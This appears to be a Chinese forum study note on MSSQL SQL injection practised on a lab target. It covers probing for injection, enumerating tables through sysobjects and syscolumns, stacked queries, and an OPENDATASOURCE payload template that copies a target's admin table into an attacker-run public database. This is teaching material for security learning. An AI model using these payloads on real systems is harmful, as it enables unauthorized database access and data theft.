数据库注入 之 MSSQL注入—反弹注入

humbie   ·   发表于 2022-09-21 19:42:36   ·   学习杂记

MSSQL就是SQL Server
MSSQL和MySQL注入有区别,但是大同小异。
在互联网上搭建MSSQL(免费获得一个公网上面的MSSQL数据库)
反弹注入:让目标数据库把查询到的结果插到你的数据库里。
所以需要在公网建立MSSQL数据库。
虚拟主机(搭建小网站)
香港云:sharkasp.net。
注册之后如下


地址,初始库,账号如下,密码是zijishe自己设的。

给出地址、初始化库、账户、密码。
连接这个数据库的方法:
1.在线工具
2.Navicat(推荐)

Navicat,选择连接库SQLserver,连接名随便写,后面的按前面的填。
数据库前面图像变黄就成功了。
一般情况用dbo表就可以了。(连接可能慢)
使用命令就新建查询,选择好数据库和库(可以选定一截语句,右键运行已选择语句,很方便)

靶场:
and’ 1=1查有无注入
order by 3正常 4错误 查字段
然后union select 1,2,3就不行了
因为mysql是最包容的,对上字段就行了。
对于MSSQL以及Oracle,都不行,必须对应字符类型。
NULL是可以对应所有字符类型的,所以可以Select null,null,null,但是这样没有显错点,所以还要一个一个试。
比如select 1,null,null就可以知道第一个是不是数字。
靶场是select 1,’a’,’a’
检测漏洞-找字段数-找输出点-查库查表查字段查数据。
现在到查的环节,但是MSSQL有informaiton但是没有database()
靶场这里不用limit直接输出,页面没限制输出条数。

但是正常的查应该用sysobjects查询系统表(xtype=’u’),syscolumns字段(id=)指定sysobjects中表对应的id
select id,name from sysobjects where xtype=’u’(需要记表名和id)
select * from syscolumns where id=xxxx (刚才的id)

SQL注入模式:堆叠注入(可以用;结束前面语句)
比如select 1;select 2;写一堆语句。
;select sleep(10)一般成功了就存在堆叠注入。

反弹注入:也属于obb(数据外带)
让目标把数据插入到黑客数据库。
要有堆叠注入才能实现(这样才能用insert)
select里不可有insert/update/delete,
但是他们里面可以有select(子查询),他们之间也不能互相有。
应对场景:1.盲注
2.加快拖库
实施语句: insert into opendatasource(‘链接引擎’,’server=链接地址,连接端口;uid=用户名;pwd=密码;database=库名’).库名.dbo(权限).表名 select * from admin(想要的结果)
链接引擎就是连接方式,固定为sqloledb。端口一般默认1433,两个库名一样即可。(表名不能为数字)
注意:插入内容和被插内容字段数要一样。

打赏我,让我更有动力~

0 Reply   |  Until 11天前 | 55 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.